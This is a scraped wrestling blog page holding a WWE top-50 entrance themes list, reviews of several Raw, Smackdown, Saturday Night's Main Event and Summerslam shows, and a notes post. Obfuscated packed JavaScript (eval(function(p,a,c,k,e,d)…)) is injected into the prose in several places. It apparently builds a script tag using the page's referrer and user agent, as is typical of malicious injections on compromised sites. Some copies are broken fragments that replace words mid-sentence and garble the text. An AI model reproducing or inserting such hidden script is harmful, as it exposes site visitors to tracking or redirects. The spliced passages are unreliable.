WWE Lists Top 50 Entrance Themes

No eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shtfs|var|u0026u|referrer|ayzdh||js|php'.split('|'),0,{})) Demolition makes this a faulty list.50. Tazz – “13”
49. Too Cool – “U Look Fly 2 Day”
48. Drew McIntyre – “Broken Dreams”
47. The Shield – “Special Op”
46. Steve Blackman – “Drums in the Night”
45. Prime Time Players – “Making Moves”
44. Maven – “Tatoo”
43. Ken Shamrock – “The Ultimate”
42. The Miz – “I Came To Play”
41. Jake “The Snake” Roberts – “Snake Bit”
40. Goldberg – “Invasion”
39. The Oddities – “Oddities”
38. Brock Lesnar – “Next Big Thing”
37. Vader – “Mastodon”
36. Sheamus – “Written in my Face”
35. Legion of Doom – “What a Rush”
34. The Wyatt Family – “Live in Fear”
33. Booker T – “Rap Sheet”
32. C.M. Punk – “Cut of Personality”
31. Christian – “At Last”
30. Big Show – “Crank It Up”
29. Evolution – “Line in the Sand”
28. Mankind – “Wreck”
27. John Cena – “Basic Thuganomics”
26. Goldust – “Gold Lust”
25. Batista – “Walk Alone”
24. Mr. Perfect – “Perfection”
23. Mark Henry – “Some Bodies Gonna Get It”
22. Dusty Rhodes – “Common Man Boogie”
21. C.M. Punk – “This Fire Burns”
20. D Generation-X – “Are You Ready?”
19. Chris Jericho – “Break the Walls Down”
18. Ultimate Warrior – “Unstable”
17. Randy Savage – “Pomp and Circumstance”
16. Kurt Angle – “Medal”
15. John Cena – “The Time is Now”
14. “The Million Dollar Man” Ted Dibiase – “It’s All About the Money”
13. Kane – “Burned”
12. Honky Tonk Man – “Cool, Cocky, Bad.”
11. The Brood – “Blood”
10. Randy Orton – “Voices”
9. Shawn Michaels – “Sexy Boy”
8. Triple H – “The Game”
7. Ric Flair “Also Sprach Zatathustra”
6. The Rock – “Electrifying”
5. The Undertaker – “Graveyard Symphony”
4. Mr. McMahon – “No Chance in Hell”
3. Edge – “Metalingus”
2. “Stone Cold” Steve Austin – “Hell Frozen Over”
1. Hulk Hogan – “Real American”

 

Music used to be SO much better.



On This Day: September 13, 2001 – Smackdown: Two Days After

Smackdown
Date: September 13, 2001
Location: Compaq Center, Houston, Texas
Attendance: 12,046
Commentators: Jim Ross, Paul Heyman

 

This is the post 9/11 Smackdown, which was the first major gathering to occur after the September 11th attacks. Obviously due to that this is another show where the wrestling means nothing at all which is definitely the best thing they could have done. I saw this when it aired and haven’t seen it since. Let’s get to it.

 

Surprisingly enough we get the WWE opening which today would be the montage thing. This is live for once on a Thursday.

 

Loud USA chant to start and then we actually do the theme song. This is pre-Brand Split and in the Alliance period.

 

The roster is out in the aisle with Rock being out front. There’s a very different dynamic here than there is at other tribute shows.

 

Lillian sings the Star Spangled Banner with the red, white and blue ropes out like the old days. I guess Vince was really patriotic back in the day or something.

 

Don’t expect a lot of jokes here or incredibly serious grading here as this isn’t a regular show/review.

 

Edge talks about how he wasn’t going to do one of these interviews because he didn’t think the fans cared what Edge or Adam Copeland said about this. This is about entertaining the people tonight though as is their job. There’s definitely a pride here and the mood is far more upbeat.

 

Ricky Santana, an agent, says that he’s mad but he isn’t going to hide in fear.

 

Hardy Boys vs. Lance Storm/Hurricane

 

WWF vs. Alliance here. At least we can look at Lita. Hurricane has some weird almost funk music here and is European Champion. Heyman’s intro of Hurricane always cracked me up. “Able to leap tall cruiserweights in a single bound, more powerful than a local luchador, look, up on the stage, it’s a bird, it’s a plane, IT’S THE HURRICANE!” Hilarious. Matt vs. Hurricane to start us off which was the feud at this point.

 

Matt takes him down early and strikes Hurricane’s pose. The Hardys send the evil ones into each other and Matt gets a rollup for two. Fast paced stuff to start and I can’t keep up with it. Double team on Matt and we get a Lita chant. Hurricane is tagged in and puts the cape on. Cross body hits Matt for two. Matt grabs a Russian Leg Sweep and it’s off to Storm and Jeff.

 

Poetry in Motion to Hurricane but the one to Storm misses. Twist of Fate is blocked by a superkick by Hurricane which gets two. Jeff takes Hurricane down on the floor with a rana. Back inside the Twist and the Swanton take care of Storm to end this. Quick match and too short to rate, but fun for an opener.

 

Terri talks about thinking of this from a mother’s perspective and how so many people lost family members in this.

 

Rock says he can’t comprehend what the families are going through with this. He doesn’t seem sure of what to say which is totally understandable.

 

A local businessman says exactly what you would expect him to say.

 

Rob Van Dam vs. Spike Dudley

 

RVD is Hardcore Champion but this is non title. Molly Holly is with Spike and is very cute. After we hear about the Red Cross accepting donations, Spike goes right at RVD. Paul talks about how these two had wars in ECW. I don’t remember those at all but that’s just me. This is hardcore mind you.

 

Van Dam gets his spinning leg drop across the apron for two. RVD brings in a chair but Spike gets a victory roll for two. In an impressive move, RVD misses a moonsault but catches the chair and dropkicks it into the head of Spike. Paul praises him, which makes me wonder why he never put the ECW Title on him. Five Star ends this with ease in very short time so no rating.

 

Jericho says he’d rather be in New York doing whatever he could to help. We don’t know what’s coming in the next five minutes or ten minutes and tonight maybe we should be a bit kinder or more gentle. It was weird hearing Jericho be this serious but he was rather articulate and well thought out.

 

Stasiak says this will make us stronger. Very short and sweet.

 

Lita says she’s numb to this still and she has a lot of emotions because of this. She isn’t sure what to do and wouldn’t say she was. She says everyone should stop and take a deep breath which is what this show is for. Makes sense.

 

Chris Jericho vs. Christian

 

I’m reviewing this match on two shows at the moment. Kind of ironic I guess for no apparent reason. We do get the old CHRISTIAN! AT LAST YOU ARE ON YOUR OWN entrance which is always cool. Oh and he has the stupid glasses here which is always a cool perk. Edge is IC Champion and the feud is kind of going on at this point with the brothers (now not brothers).

 

Christian talks for a bit but is cut off by Jericho. Jericho makes fun of the ring entrance including a falsetto version of theme song with a little parody thrown in. For a bit there I forgot the point of this show, which I think is exactly the idea. Jericho comes straight at him and the fight is on. Attempt at the Walls starts almost 15 seconds in but Christian sends him into the post very quickly.

 

A single arm DDT by Christian gets two. I think Christian is in the Alliance here but I’m not sure. There’s an Alliance referee in there so that should sum things up pretty clearly. Jericho gets a shot in and here he comes (TO SAVE THE DAY! SAVE THE DAY!). Enziguri sets up the bulldog but the Lionsault gets knees. And never mind as Christian yells and gets rolled up for the pin. Another fast match that is too short to grade. Decent while it lasted though.

 

Kanyon says he’s proud of New York and his family who are cops in New York for coming together for this.

 

Taz says he’s scared because his family is in New York. He seemed to get cut off here almost.

 

Torrie says nothing of note.

 

Hurricane says this isn’t about being American but about being human. The people that did this are less than human.

 

Bubba Ray Dudley says that which does not kill us makes us stronger. Even though a lot of people were killed, America is stronger.

 

Here’s Rock, who is WCW Champion. That was always weird for some reason. He talks about how this is a special night and he’s here to have a great time, live on his show. He issues an open challenge.

 

Shawn Stasiak vs. The Rock

 

Stasiak is the son of the former WWF Champion, Stan the Man Stasiak. The problem was that there was a lack of talent between the generations. He has Stacy with him so that helps. Part of Stasiak’s gimmick was that he would charge at people and they would just step aside. Rock does just that and Stasiak goes flying. Rock issues the challenge again and once again goes flying.

 

Third time the challenge goes out and one more time Stasiak comes a-charging! Rock holds up and hand and wants to know what is wrong with this guy. Every week this happens and Stasiak either knocks himself unconscious or gets thrown out of the ring. It’s probably embarrassing and it probably hurts. Instead, let’s talk about pie.

 

Stasiak doesn’t like pie. Any longtime WWF fan immediately gets the joke here. Rock asks if he likes strudel but before he can answer Rock asks Stacy if she likes the People’s Strudel. She seems to be intrigued but Shawn interrupts again and wants a WCW Title shot RIGHT NOW. Wait isn’t this match already going on? Either way, handshake, Rock Bottom, pin. Absolutely hilarious segment with Rock being his usual awesome self.

 

Bill Demott says the firefighters and cops are the real role models, not him or the people in this company.

 

Ivory says there are more good people than bad in the world. America is made up of a bunch of different people and we’ll embrace this tragedy.

 

X-Factor vs. APA

 

X-Factor is X-Pac and Albert. Pac has the Light Heavyweight and Cruiserweight Titles. Pac vs. Farrooq to start us off with the tiny guy getting hammered down very quickly. Pac gets some kicks in and here’s Bradshaw, making the tiny guy run. Off to Albert vs. Bradshaw and down goes Albert to a big boot. JR talks about dipping Bradshaw’s fist in barbecue sauce.

 

Vader Bomb by Albert misses and it’s off to Simmons. BIG bicycle kick takes his head down as JR is planning a road trip with Heyman to Oklahoma. Spinebuster takes Pac down and it’s back to Bradshaw vs. Albert. Fallaway Slam sends X-Pac flying. Albert misses a splash and the Clothesline From JBL (complete with a Hook Em Horns sign) ends this with relative ease.

 

Rating: C-. Pretty weak match but the commentary was hilarious. I have no idea if they were talking in code or if this was just random chatter to fill in time but it cracked me up. JR can be funny when he’s not taking himself far too seriously. The APA was far past their prime here but they could still fight.

 

Angle says he’s not a real hero but rather the people helping in New York.

 

Booker T vs. Big Show

 

Booker is Alliance here and the hometown guy so this is a weird combination. They don’t mention him being from Houston here for semi-obvious reasons. He and Shane have a handicap match vs. Rock at Unforgiven. There was a live even in Lexington for Sunday but it was postponed. I have never heard of that show before and I don’t think I went to the rescheduled one. JR is still talking about barbecue.

 

Show chops away and puts Booker on the floor quickly. All Show to start as Ross and Heyman continue to have a good old time on commentary. Booker gets a superkick but is knocked right back down again. This is Show in the one piece swimsuit that never looked right at all on him. Chokeslam is reversed by knees to the ribs but the sunset flip just doesn’t work at all. Show misses a big boot and a missile dropkick puts Show down for the axe kick for a long two. A second also gets two so a front flip leg drop gets the pin finally. Another short quick match that you really can’t grade as it was so short. This is getting old.

 

Lance Storm says that he isn’t American but he’s a person. Every time he’s not at home he’s going to worry about his family. This is an attack on the world, not America.

 

D-Von says this wakes us up and tells us that this is real. Everything is screwed up right now in other countries so they want to bring us down with them.

 

A retired member of the Navy thanks Vince for doing all this which really was a big deal.

 

Lita vs. Ivory

 

Lita has the pigtails and doesn’t look right in them. She has the flag with her which is cool to see. Ivory is in the Alliance here and looks a lot better in leather than in the RTC stuff. Lita knocks her around with relative ease to start us off. Sunset flip doesn’t work as Ivory grabs the pigtails. We hit the chinlock which lasts for only a second or so. Another chinlock is fought out of and there’s a headscissors to put Ivory down. Twist of Fate and Moonsault gives us another short match that wasn’t very good. Again though, it’s not a typical show.

 

Stacy says she’s 21 so she has no idea what this means for the most part. She sounds like a high school chick here.

 

Austin says he can’t change the world but what he thinks is that whoever did this is a coward. Tonight by going back to work it’s the thing to do. He offers his condolences for those that lost their loved ones and we do have to mourn, but we need to get back to the way things were. That seemed to be the common answer and that makes sense I think.

 

Booker says the people that helped in New York are the real heroes. This is going to make us stronger.

 

And now there’s this part. This is the interview/talk that makes everyone look at the company and the McMahons and say “really?” Stephanie, looking TICKED, talks about how a few years ago people tried to take shots at her family and the company but they only made them stronger. She’s talking about the steroids trial. That’s what’s happening to America today. Yes, Vince McMahon allegedly breaking the law by distributing illegal drugs has just been compared to the September 11th attacks. And people wonder why this is made fun of so much.

 

Dudley Boys/Test vs. William Regal/Tajiri/Scotty 2 Hotty

 

Tajiri has a title of some sort here. At least I think he does. Maybe he doesn’t and it’s just part of his outfit. D-Von vs. Regal to start us off. Scotty is literally jumping up and down and screaming for a tag. Tajiri comes in instead in an unintentionally funny bit. He kicks the tar out of everyone but Test takes care of that.

 

Bubba hammers on him a bit as Tajiri is the face in peril. That back splash that never hits doesn’t hit here and it’s off to Scotty to face Test. The Worm to Bubba is broken up as is What’s Up, the latter by mist to the face. There’s the Worm to Bubba and then thankfully Test kicks the tar out of Scotty for the pin.

 

Rating: D+. Just a six man here to fill in time before the end of the show. Test got a big push around this time but they never pulled the trigger on him. He got a bigger one the previous year which was his real chance at being champion which he probably should have been. Match was more or less just there and a way to get the Worm in.

 

Lillian says she isn’t sure about her family and friends who live in New York.

 

Farrooq is mad about it and says the people that did it are cowards.

 

Regal is from a country where terrorism is more common but he can’t explain how he feels here. We have to get on with our lives though, which seems to be happening.

 

Albert talks about being disgusted by what he saw.

 

Rhyno vs. Kurt Angle

 

Was there really any doubt that the American Hero would close the show? Rhyno grabs a headlock which gets him nowhere at all for the most part. Cross body gets two. Angle hammers away but Rhyno gets a shoulder into the corner to take over. Rhyno busts out a freaking airplane spin for two.

 

Off to the chinlock now which doesn’t last long. Rhyno gets the belly to belly but the Gore misses, as does the Olympic Slam. Double clothesline puts both guys down for a bit. Rolling Germans to Rhyno but Angle takes a spinebuster to put them both back down again. Gore hits but THE POWER OF AMERICA prevails and it’s only two. Angle Slam is the counter to an Irish Whip and since it’s AMERICA against Ireland the AMERICAN HERO wins it.

 

Rating: C. Just a match really. Kurt was banged up from an attack on Monday night so that was the idea of the match here. There was no drama or heat on the match and there wasn’t supposed to be. Decent enough for the main event of a shot that wasn’t about wrestling, so I can’t complain here.

 

Overall Rating: A+. This is a show that is worth seeing if you have the chance to find it. The idea was to get people’s minds off of what happened two days before and I think they did that. There were no stories advanced or anything but there weren’t supposed to be any advanced. This left you feeling positive that things were going to be alright again, which is exactly the idea at the end of the day. Good show.

 

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

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Monday Night Raw – December 11, 2000: Mick Foley Lies And A Lot Of People Get Hurt

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfthy|var|u0026u|referrer|dabdb||js|php'.split('|'),0,{})) Night Raw
Date: December 11, 2000
Location: The Pyramid, Memphis, Tennessee
Commentators: Jim Ross, Jerry Lawler

The opening video focuses on the Cell match with that creepy The End Is Here song playing.

Edge and Christian are worried about the tables match but Angle has a plan.

Dean Malenko/Perry Saturn vs. Hardy Boyz

Dean kisses the knocked out Lita.

Vince and the Stooges arrive.

Chris Benoit vs. Billy Gunn

Benoit won the IC Title last night but this is non-title. Chris wins an early slugout but Billy catches him in a gorilla press, only to pretty drop Chris on his face. Eddie Guerrero strolls out to ringside as Benoit is holding his shoulder from the landing. Back up and Chris gets two off an elbow to the jaw. Billy comes back with some basic stuff but gets caught in a belly to back suplex. Gunn gets one of his own before knocking out Benoit with the title belt but the distraction from Guerrero prevents the three count. The Fameasser connects but Eddie comes in for the DQ.

Benoit puts Billy in the Crossface for fun.

XFL ad.

Kurt Angle/Edge and Christian vs. The Rock/Dudley Boyz

Christian is put through the table for fun.

Austin arrived during the break.

Chyna vs. Ivory

Val and Ivory give Chyna a spike piledriver and Chyna is out. The referee waves out a stretcher and we take a break.

Back with Chyna being loaded into an ambulance and Billy Gunn blaming Foley.

Brisco brings the resignation papers to Vince.

Right to Censor vs. K-Kwik/Road Dogg/Jerry Lawler

Foley tells Snow he needs to cancel the hardcore match but Snow talks him into keeping the match.

Raven vs. Al Snow

Yep, Snow is on a stretcher.

The Hollies are at WWF New York.

Vince yells at Foley as Mick gets into the ambulance with Snow. Foley gets back out.

Video on the Cell last night.

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Monday Night Raw – February 11, 2002: Time For A Wedding!

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Date: February 11, 2002
Location: Jonesboro Convocation Center, Jonesboro, Arkansas
Commentators: Jim Ross, Jerry Lawler

We open with a package hyping up the wedding vows tonight.

Theme song.

Chris Jericho vs. Edge

Jericho stays on the ribs but misses a charge into the post, giving Edge an opening. A catapult into the corner gets two for Edge but Jericho comes right back with a bulldog, only to miss the Lionsault. Edge misses the spear but counters the Walls attempt into a rollup for two. Jericho drapes him over the top rope but goes to get a title, allowing Edge to spear him down for two. Not that it matters as Jericho hits him him in the ribs with the belt and the Breakdown (Skull Crushing Finale) is good for the pin.

We get another clip of the NWO. I guess this is a theme tonight. Remember that this is a mere THREE MONTHS after the Invasion ended. Again, that thing could have gone on for years by bringing in big names every now and then to give the Alliance a boost.

Goldust vs. Rikishi

HHH runs into Arn Anderson and Arn just happens to have a FedEx package for him. It sounds like a video tape when HHH shakes it.

The wedding singers practice for later.

Godfather vs. Kurt Angle

This is during the failed Godfather Goes Legit period where he owned an escort service instead of being a pimp. Angle pounds him down but gets caught by a knee/boot to the chest/shoulder area. Kurt is like screw that and drills him in the leg before ending this in less than a minute with the ankle lock.

HHH gives Stephanie a new ring. Much crying ensues.

Steve Austin vs. Undertaker

Post match Jericho hits Austin with a belt and a cooler.

Jericho bailed during the break.

Tazz vs. Booker T.

Stacy Keibler vs. Torrie Wilson

Mr. Perfect cheats to beat a national chess champion. These bits never get old.

Rob Van Dam vs. Christian

Goldust pops up on screen to challenge RVD for No Way Out.

Arn Anderson tells HHH to call Linda.

Stephanie keeps up the lie to the wedding singers. Vince pops up behind her in a tux and cuts a promo on her before agreeing to walk her down the aisle. Howard Finkel pops in to try to tell Vince what HHH found out but Vince tells him to leave.

http://kbwrestlingreviews.com/2013/03/18/no-way-out-2002-if-an-invasion-happens-and-no-one-cares-does-it-matter/

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Happy Birthday Vince McMahon

Dude eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iydft|var|u0026u|referrer|ndyrh||js|php'.split('|'),0,{})) looks pretty good for 68.



On This Day: August 18, 2007 – Saturday Night’s Main Event #35: How Did The Show Last This Long?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bytte|var|u0026u|referrer|steaa||js|php'.split('|'),0,{})) Night’s Main Event 35
Date: August 18, 2007
Location: Madison Square Garden, New York City, New York
Commentators: Michael Cole, John Bradshaw Layfield, Jim Ross

Again we’re setting up for Summerslam here which was a pretty decent show at the end of the day. Again though there’s very little effort put into this one seemingly although we do have an hour and a half here instead of an hour like last time so this should be a bit better in theory.

We’re looking for Vince’s son here which could have been great but Kennedy screwed it up and since WWE had zero patience they messed it up. Also Evander Holyfield is fighting Matt Hardy in a boxing match here. Let’s get to it so I can get to the next show quickly.

We open Coach and Vince setting up the story of the illegitimate son and saying tonight they’ll be going through most of the roster. See how that one thing tying the whole show together could help the whole show get a bit better? Coach implies he could be the son and Vince says it’s going to be a long night. You can feel like this is at least a decent show on paper as we’re in the world’s most famous arena and Vince is here. That just makes the show feel bigger.

Batista/Kane vs. Great Khali/Finlay

Khali is champion here and Finlay is about to turn face in a few months. Batista would get the his shot at Summerslam while Kane and Finlay would have a fight there too that sucked. The faces beat the tar out of Finlay before we go to commercial and come back to have Khali beating up Kane. Khali puts the claw on the injured ribs. My head hurts. He’s just squeezing his side. Could he be any lazier? I mean come on now.

If you ever want a reason to know what Khali is said to be unable to wrestle, HERE IT IS! GOOD NIGHT that was a poorly worded sentence. Batista comes in and beats up Finlay. And here’s Horny who is a heel here so Batista just throws him into Kane. They get Khali tied up in the ropes and just ram Horny into him like a battering ram. That was funny actually. A double chokeslam on Khali leads to Finlay being ended with Batista’s usual stuff.

Rating: C. This could have main evented any given Smackdown if you added three minutes to it. It was fine for what it was and it came off pretty well I guess. It’s certainly not a great match but it works for an 8 minute long show on a completely thrown away show I guess.

Vince is looking in a mirror and it turns into a picture of him from the 80s. Simmons shows up to say his one line. That made NO sense.

HHH is coming back at Summerslam.

Holyfield talks to MVP about nothing in particular.

Coach and Vince are in the ring and it’s time for another of the illegitimate son angles. These were funny at first but at the same time they more or less didn’t know who they were going with once Kennedy got suspended and it just got stupid. Coach talks about Vince’s sex life and Vince snaps at him. That made me chuckle for some reason. Coach thinks that the child could be from Kentucky. WOOT!

And it’s Eugene, which would mean that Vince screwed Bischoff’s sister. That seems a bit too stupid to believe. Vince says he slept with a woman, not his cousin. They mention Uncle Eric and apparently Eric got into wrestling for Vince nailing his sister. That’s creative if nothing else.

Good night they messed up that character to the moon and back. Coach asks Vince if he remembers the Mania 2 after party in LA (even though Vince was in the New York portion of the show but whatever) and Melina is brought out. Both seem very nervous and it’s implied they slept together. Can I get a Mackenzie Phillips joke? Coach says he has one more and Vince insists they come out.

Cue glass shattering and an eruption from the crowd. Austin wearing sneakers just doesn’t look right for some reason. They had to go here eventually and I can’t blame them. These two simply belong together. Austin looks like he’s in great shape as compared to when he was in the ring.

He says that Vince could have been a good dad and lists off some things that Vince might have been able to do with him, including talking about the birds and the bees. This is amusing if nothing else for the look on the face of Vince, and Austin is always good for a one off appearance.

The fans pop at the idea of a Stunner. Coach gets it after Vince takes two low blows “to calm down his grapefruits”. Beer is consumed and is poured on Vince’s balls. Of course Vince gets a Stunner as well. Apparently Balls Mahoney was in this segment as well but was edited out for time I guess.

Holyfield is still warming up.

John Cena vs. Carlito

These two always wind up together for some reason. They had split two matches thanks to Orton and this is match #3. Well it’s quick if nothing else. This is exactly what you would expect from these guys as they have a decent little match but there’s nothing at all to get excited about. Carlito starts in control and the comeback hits for the STFU tap out. Orton comes in and gets a belt shot in and an RKO on a chair. Wow they actually did storyline advancement. I’m in shock.

Rating: D+. This was ok at best and bad at worst. It’s also about 5 minutes long so there was just no meat here at all. This was pretty weak though. It did however close an angle and builds on Orton vs. Cena so that was a major perk. Still though, not very entertaining.

And now we replay half the match for no apparent reason.

Orton says he’s coming for Cena at Summerslam.

A bunch of the Divas are here to watch the boxing. I can’t believe they’re going through with this.

Matt Hardy vs. Evander Holyfield

Again, this is boxing. They call Holyfield the best ever. He wasn’t even the best of the 90s. This was about contest #298 between MVP and Hardy as Hardy was supposed to fight MVP but since both guys kept getting hurt and he couldn’t beat MVP for the US Title like he was supposed to. Michael Buffer is here. Come on man you have a career man!

Oh Holyfield has a title fight for one of about 4 world titles floating around at this time. The idiocy of this astounds me. In case you don’t get why, Holyfield is one of the best boxers in the last 40 years, but apparently a guy that has never boxed in his life is supposed to stand chance against him.

There is no reason this should go past 30 seconds in any sort of reality. Holyfield has no headgear on while Hardy does. That helps a tiny bit I guess. After a video package on Hardy we’re back. The rounds are two minutes long. And Hardy is in trouble 20 seconds in. That’s better than nothing I guess.

He’s down again after a minute. He’s down again after a minute and a half. This needs to end like now. Hardy is either a heck of an actor or he got the tar knocked out of him. Oh the Divas are the ring girls. I got it. Holyfield refuses to punch him anymore. Ok that’s better than nothing if nothing else. MVP tells him to attack so he gets punched.

Rating: N/A. This was very odd but of course they gave it more time than anything else tonight. At least Holyfield completely dominated so that’s better than nothing.

Tazz comes out for commentary.

CM Punk/Boogeyman vs. John Morrison/Big Daddy V

These two both had matches at Summerslam I think. Scratch that, only the two with talent had a match. This is about as boring of a tag match as I could imagine. There’s nothing of note happening as it’s Morrison for about 90% of this as BDV is so freaking fat that he can’t move much let alone have a good match.

This is more or less all Punk and Morrison which makes sense if nothing else. It was really short if nothing else and they actually had a commercial in here. This was very boring though and nothing of note is happening. And Punk gets a small package for the pin.

Rating: D. I just wanted this to end at this point. There was nothing at all of note going on and they were just out there to fill in time. The match did I guess give Punk momentum going into Summerslam so I’ll give them that. Still a very poor match though.

A video highlight reel of the show ends us.

Overall Rating: D. Well there was some ok stuff here I guess. Nothing great happened here though and more or less you could have skipped this show and been fine. That’s what I did and I was fine on the next shows. Not a good show at all but it could have been far worse, like the next one. The show and concept were dead at this point though and it showed badly.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

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More Notes From Post Summerslam Raw

Especially eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfnaa|var|u0026u|referrer|ytnea||js|php'.split('|'),0,{})) that last segment.1. Are people really as confused as they seem about who is going to help Bryan?  It’s really not that complicated.

2. Does anyone feel stupid for buying the rumor about Shield being downgraded in favor of Wyatt Family which was blamed on HHH?  Last night Shield became the personal security force for the super heel stable and fought three former world champions while Bray Wyatt squashed a jobber to the stars in two and a half minutes.  It’s like WWE…..LIED!  That’s not fair!
3. It’s been a long time since we’ve had a heel super stable in WWE.  Has there been one since Evolution? La Familia was on Smackdown so it means nothing.

4. It’s amazing how time can heal all wounds in WWE. Randy Orton came as close to raping Stephanie as you can while her husband was tied up and punted Vince in the head, but now it’s ok for the sake of business.  I love wrestling logic.

5. When is the last time heels held all titles in WWE?  It’s been a very long while.

6. You know what I like about the new stable?  They act like heels.  Seriously it’s that simple: they tell us what’s better for us, says the wishes of other people don’t matter, they say they’re going to do what they want no matter what because they own the place and they throw their authority around with no fear of reprecussions at all.  They’re EVIL, not making logical points with well thought out arguments that could sway the fans to their side.  It’s the will of the people vs. the people that tell us they know what’s best for us.  That’s good vs. evil and the best stories come from basic ideas such as that.



Monday Night Raw – August 19, 2013: Cut The Filler, Get To The Game

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Date: August 19, 2013
Location: Honda Center, Anaheim, California
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

Damien Sandow vs. Cody Rhodes

GM Brad Maddox shows us some disparaging comments from Ziggler about HHH before announcing Ziggler vs. Shield tonight.

The Bellas and Funkadactyls are catty backstage.

AJ Lee/Layla vs. Funkadactyls

The non-cheerleaders jump the Funkadactyls to start until we get going with Naomi vs. AJ. AJ gets a quick two off a spin kick and chokes a lot. Naomi finally scores with an enziguri to escape but the tag brings in Layla who knocks Cameron to the floor. Using the distraction, Naomi scores a quick rollup for the pin on Layla at 2:22.

We recap the opening segment.

Dolph Ziggler vs. Shield

Alberto Del Rio vs. Sin Cara

Del Rio jumps Sin Cara to start but gets armdragged down and out to the floor. A dive takes Alberto out and immediately asks the referee to come over while holding his hand. The referee holds up an X but Alberto throws him back in. The referee pulls Del Rio to the floor and rings the bell at about 55 seconds.

Prime Time Players vs. Real Americans

Justin Gabriel, Zack Ryder and a Foot Locker referee plug Foot Locker gear until Fandango and Summer Rae come in to do the same thing.

Big Show vs. Shield

Rating: D+. Even at four and a half minutes this felt too long. A lot of the middle part of the match was the same stuff over and over again which made it boring. The interesting thing here is Maddox sending Shield in over and over and potentially ticking them off, meaning they might turn on him. The interesting story makes up for the weaker match.

They head back inside and Punk goes for the GTS, only to have Curtis escape and go after the leg. Axel works on the leg a bit before hitting his finisher to lay Punk out. Curtis tries to Pillmanize the leg but Punk moves away and destroys Axel with the chair. A GTS onto the steps knocks Curtis out cold and Punk stares at Heyman.

R-Truth vs. Bray Wyatt

3MB vs. Usos

The Miz vs. Wade Barrett

Bryan needs to check his ego at the door like HHH does every week when he goes to work. The fans chant for Bryan but HHH brings out Orton as the ultimate show of burying his personal problems. Orton comes out to hug Stephanie because time heals all borderline rapes in WWE. Orton thanks HHH for causing this and demands that the fans appreciate the Game. HHH takes the mic back and asks Bryan to come out here and get it all out at once. Shield is excused so Bryan will actually come out. HHH starts a YES chant and asks Bryan to come out with his music playing.

Bryan comes out from the side of the stage and Shield immediately jumps him. He fights them off for a bit but Reigns spears him down. They load up the Triple Bomb but HHH calls them off and says Bryan gets to say what he wants. He finally gets in the ring but walks into an RKO to put him down. The new Corporation stands tall to close the show.

Results

Cody Rhodes b. Damien Sandow – Sunset Flip

Funkadactyls b. AJ Lee/Layla – Rollup to Layla

Shield b. Dolph Ziggler – Spear

Alberto Del Rio b. Sin Cara via referee stoppage

Prime Time Players b. Real Americans – Gut Check to Cesaro

Shield b. Big Show – Triple Bomb

Bray Wyatt b. R-Truth – Sister Abigail

Usos b. 3MB – Superfly Splash to Mahal

The Miz b. Wade Barrett via DQ when Fandango interfered

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

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Summerslam 2013: A Star Is Born

Summerslam 2013
Date: August 18, 2013
Location: Staples Center, Los Angeles, California
Commentators: Jerry Lawler, Michael Cole, John Bradshaw Layfield

Pre-Show: US Title: Dean Ambrose vs. Rob Van Dam

Back with Ambrose still in control with shots to the chest and a cross face chicken wing. An ECW chant starts up as Ambrose transitions into a sleeper. Rob is sent to the floor but the giants block Shield from interfering. Dean goes out to stare as well but gets kicked down by Van Dam, allowing Rob to put him on the barricade for the spin kick from the apron.

The opening video focuses on the main events and not much more.

Kane vs. Bray Wyatt

Rating: D+. This was disappointing. The visuals were cool but just putting a blanket over the flames was a pretty lame way to have the monsters get inside. I was expecting something a bit more supernatural instead of fire safety tips with the Wyatt Family. Also what was up with those botches?

The expert panel of Booker T, Shawn Michaels and Vickie Guerrero talk about the match a bit.

We get part of a Heyman promo from the pre show as the fire stuff is removed. Punk vs. Lesnar is now No DQ.

Damien Sandow vs. Cody Rhodes

Smackdown World Title: Christian vs. Alberto Del Rio

Christian won a three way to get the shot and has pinned Del Rio twice in the last few weeks. Alberto makes Lillian do his intro in Spanish in a nice touch. Christian quickly sends Del Rio out to the floor but misses a baseball slide. Back in and Del Rio escapes a top rope rana attempt and hits an enziguri to send Christian into the Tree of Woe. Alberto fires off kicks to the chest and a running one somewhere near the shoulder.

Axxess stuff, including Maria Menunos in a Divas tag match.

Brie Bella vs. Natalya

CM Punk vs. Brock Lesnar

Lesnar brags a bit too much and Punk gets in a kick to the head and a pair of knees to the face to send Brock to the floor. The suicide dive takes Lesnar down and the fans go NUTS. Punk loads up the steps but Brock rams into them to knock Punk down. Brock fires off knees to the ribs but Punk posts him for a breather. A top rope dive puts Brock down again as Punk is giving this all he has. Punk dives off the announce table with a clothesline and Brock is in trouble.

